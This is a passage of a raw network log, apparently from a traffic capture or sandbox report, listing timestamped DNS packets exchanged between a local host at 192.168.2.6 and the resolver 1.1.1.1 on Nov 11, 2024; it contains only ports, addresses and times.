Nov 11, 2024 18:50:44.114783049 CET	53	59158	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.114862919 CET	53	64538	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.115174055 CET	53	55986	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.115185022 CET	53	58463	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.115461111 CET	53	52740	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.115487099 CET	53	55716	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.115748882 CET	53	50627	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.115758896 CET	53	65386	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.115850925 CET	53	54699	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.116349936 CET	53	56528	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.116810083 CET	53	63379	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.117441893 CET	53	64549	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.117453098 CET	53	52242	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.117461920 CET	53	49581	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.117471933 CET	53	51171	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.117486000 CET	53	61545	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.117496014 CET	53	62435	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.117505074 CET	53	50308	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.117515087 CET	53	63537	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.117523909 CET	53	57649	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.117532969 CET	53	51287	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.118015051 CET	53	50898	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.118025064 CET	53	62930	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.118035078 CET	53	52675	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.118045092 CET	53	49333	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.118060112 CET	53	49654	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.118068933 CET	53	56917	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.118078947 CET	53	60283	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.118942976 CET	53	60842	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.118952990 CET	53	50360	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.118962049 CET	53	65362	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.119601965 CET	53	54810	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.119618893 CET	53	55119	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.119837999 CET	53	53863	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.119848013 CET	53	59489	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.120868921 CET	53	50868	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.125905037 CET	53	60896	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.126437902 CET	53	59740	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.128674030 CET	53	61569	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.136225939 CET	53	62856	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.137476921 CET	53	62040	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.137490034 CET	53	50845	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.138312101 CET	53	63862	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.138323069 CET	53	50473	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.138334990 CET	53	49168	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.138613939 CET	53	52875	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.138667107 CET	53	56860	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.138676882 CET	53	60032	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.141021967 CET	53	50932	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.141032934 CET	53	57678	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.141043901 CET	53	59712	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.141052961 CET	53	53885	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.141063929 CET	53	63746	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.141078949 CET	53	60306	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.141089916 CET	53	60210	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.141100883 CET	53	53218	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.141112089 CET	53	63166	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.141122103 CET	53	56601	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.141758919 CET	53	62291	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.142385006 CET	53	60914	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.539639950 CET	53084	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.546529055 CET	56489	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.551462889 CET	53	53084	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.553680897 CET	52073	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.554414988 CET	65225	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.554748058 CET	52063	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.558689117 CET	58217	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.561511993 CET	49842	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.564273119 CET	64676	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.564970970 CET	50472	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.565393925 CET	53	52063	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.565929890 CET	61142	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.568120956 CET	58300	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.568183899 CET	54071	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.568700075 CET	54596	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.569159031 CET	53	58217	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.569200039 CET	65184	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.569232941 CET	61725	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.569973946 CET	50702	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.574381113 CET	58100	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.575354099 CET	53	58300	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.575969934 CET	53	64676	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.578242064 CET	53	56489	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.578380108 CET	53	54071	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.579567909 CET	53	61142	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.579581022 CET	53	54596	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.579859018 CET	53	65184	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.579910040 CET	53	61725	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.580322981 CET	51390	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.581923008 CET	53	50702	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.584772110 CET	54759	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.585458994 CET	53	65225	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.585496902 CET	56111	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.591262102 CET	55794	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.595086098 CET	53	49842	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.595226049 CET	53	50472	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.601490974 CET	49512	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.601685047 CET	60529	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.601984024 CET	57380	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.602124929 CET	63945	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.602283955 CET	52738	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.602457047 CET	61888	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.602457047 CET	63754	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.602606058 CET	58592	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.602627993 CET	59820	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.602798939 CET	52603	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.602838993 CET	60259	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.602978945 CET	50478	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.603074074 CET	61190	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.603189945 CET	57920	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.603351116 CET	65496	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.609438896 CET	49630	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.609738111 CET	50436	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.613799095 CET	53	54759	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.613895893 CET	53	58100	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.613917112 CET	53	51390	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.617629051 CET	53	56111	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.618611097 CET	53	57380	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.618675947 CET	53	52603	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.618685961 CET	53	52738	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.618729115 CET	53	59820	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.619357109 CET	53	61190	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.619368076 CET	53	65496	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.619379997 CET	53	63754	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.619427919 CET	53	63945	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.619729996 CET	53	49512	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.619739056 CET	53	49630	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.622447968 CET	53	60259	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.622461081 CET	53	61888	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.622471094 CET	53	55794	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.623500109 CET	53	50436	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.624989986 CET	54637	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.626538038 CET	53	60529	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.627609968 CET	56339	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.628175020 CET	52206	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.634839058 CET	53	56339	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.636173964 CET	53	54637	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.638561010 CET	53	52206	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.639575958 CET	58642	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.640043974 CET	53	58592	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.640464067 CET	53	57920	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.641382933 CET	62211	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.641556978 CET	62174	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.641670942 CET	55359	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.641894102 CET	60600	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.641967058 CET	64697	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.642050028 CET	53	50478	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.642251968 CET	65087	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.642546892 CET	62164	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.642688990 CET	56171	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.642883062 CET	52875	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.644217014 CET	58554	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.644450903 CET	53550	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.644920111 CET	49297	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.646418095 CET	54515	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.646716118 CET	60361	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.646812916 CET	58166	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.647017956 CET	59405	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.647249937 CET	53	58642	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.651587009 CET	50355	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.651854038 CET	53	60600	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.652034998 CET	58740	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.652714014 CET	63893	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.652807951 CET	53	64697	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.652822971 CET	53	65087	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.652836084 CET	51774	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.652857065 CET	53	62174	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.653321981 CET	58165	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.654534101 CET	53	56171	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.656163931 CET	53	58554	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.656177044 CET	53	54515	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.656224012 CET	53	49297	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.656615973 CET	53	60361	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.658459902 CET	53	59405	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.659562111 CET	53	58166	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.660259962 CET	53	62211	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.661329031 CET	53	55359	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.662357092 CET	53	50355	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.663065910 CET	53	58740	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.663078070 CET	53	51774	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.674140930 CET	53	62164	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.675148964 CET	53	52875	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.677011967 CET	53	53550	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.683330059 CET	51589	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.684813023 CET	53	63893	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.686630011 CET	53	58165	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.694966078 CET	53	51589	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.754394054 CET	53	52073	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.519751072 CET	64727	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.521709919 CET	54722	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.522485018 CET	50449	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.522800922 CET	51107	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.523843050 CET	53802	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.526352882 CET	51017	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.527689934 CET	51424	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.528357983 CET	62846	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.529227972 CET	54315	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.530042887 CET	53	64727	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.530976057 CET	51235	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.531650066 CET	54297	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.533298016 CET	59447	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.533552885 CET	53	54722	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.534440994 CET	50716	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.534465075 CET	53	53802	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.535126925 CET	52273	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.536509037 CET	53	51017	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.537887096 CET	53	51424	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.541891098 CET	53	51235	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.543771029 CET	53	54297	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.543783903 CET	53	59447	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.543790102 CET	53	62846	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.544249058 CET	53	50716	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.546917915 CET	53	52273	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.555164099 CET	53	51107	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.557295084 CET	53	50449	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.559979916 CET	53	54315	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.576389074 CET	57024	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.587096930 CET	53	57024	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.598606110 CET	57054	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.599090099 CET	55679	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.599332094 CET	58815	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.599347115 CET	60598	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.599488974 CET	60009	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.599654913 CET	52355	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.599781036 CET	61560	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.600018978 CET	50441	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.600048065 CET	56150	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.600347042 CET	58209	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.600392103 CET	53203	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.600635052 CET	55307	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.601629019 CET	63622	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.609327078 CET	53	55679	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.610416889 CET	65029	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.610429049 CET	53	57054	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.610507965 CET	53	60009	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.610882998 CET	53	58209	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.610893011 CET	53	60598	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.610918045 CET	53	63622	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.615540981 CET	55190	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.618309021 CET	53	61560	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.618377924 CET	53	53203	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.625642061 CET	57020	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.630563021 CET	53	65029	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.630585909 CET	53	50441	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.631006956 CET	63861	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.631377935 CET	53	58815	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.631393909 CET	53	55307	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.631993055 CET	54339	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.632917881 CET	53	56150	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.633564949 CET	53	52355	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.634763956 CET	53	57020	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.643975973 CET	49569	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.646739960 CET	53	55190	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.649893999 CET	59230	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.650563955 CET	61922	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.651367903 CET	52609	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.651726961 CET	55152	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.656425953 CET	53	49569	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.656876087 CET	65462	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.659848928 CET	53	61922	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.660077095 CET	53	59230	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.660707951 CET	58797	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.661211967 CET	53	63861	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.662105083 CET	53	55152	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.662133932 CET	53	52609	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.663459063 CET	58690	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.663624048 CET	53	54339	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.665916920 CET	57232	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.666281939 CET	60463	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.666378021 CET	51268	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.666510105 CET	61672	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.666995049 CET	58734	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.667071104 CET	64685	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.667223930 CET	58113	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.667272091 CET	57595	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.667309046 CET	53	65462	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.667408943 CET	51479	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.667500019 CET	52876	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.667630911 CET	56681	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.667748928 CET	54839	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.667803049 CET	58658	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.668469906 CET	65036	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.668544054 CET	55657	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.669047117 CET	49211	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.669089079 CET	60097	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.669281006 CET	58080	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.669294119 CET	54942	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.669821024 CET	56105	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.670125008 CET	52532	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.672384977 CET	55115	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.674901009 CET	53	58113	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.674932003 CET	53	58690	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.676162958 CET	53	58734	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.676605940 CET	53	51268	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.676700115 CET	53	52876	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.676717997 CET	53	57595	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.677752018 CET	53	54839	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.678745985 CET	53	56681	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.678761005 CET	53	65036	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.678774118 CET	53	58797	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.679256916 CET	53	58080	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.679584026 CET	53	49211	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.680428028 CET	53	52532	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.680442095 CET	53	54942	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.682497025 CET	53	55115	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.684928894 CET	53	60463	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.689199924 CET	53	60097	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.698009968 CET	53	57232	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.698302984 CET	53	61672	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.698314905 CET	53	51479	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.698888063 CET	53	55657	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.698900938 CET	53	64685	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.700169086 CET	53	58658	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.700561047 CET	53	56105	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.743690968 CET	50193	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.757249117 CET	53	50193	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.784373045 CET	57545	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.786169052 CET	57462	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.786426067 CET	64637	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.790730000 CET	59006	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.791868925 CET	63293	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.791919947 CET	57538	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.792515993 CET	51611	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.793056011 CET	62501	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.793256998 CET	61611	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.793782949 CET	54239	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.794481993 CET	57818	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.795114994 CET	58688	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.795114994 CET	49674	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.795332909 CET	56301	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.795732975 CET	58853	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.796230078 CET	57840	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.796538115 CET	57441	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.796566010 CET	53	57545	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.797636986 CET	53	64637	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.797743082 CET	55724	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.797743082 CET	62150	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.798877001 CET	56655	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.801680088 CET	53	59006	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.802298069 CET	51362	53	192.168.2.6	1.1.1.1
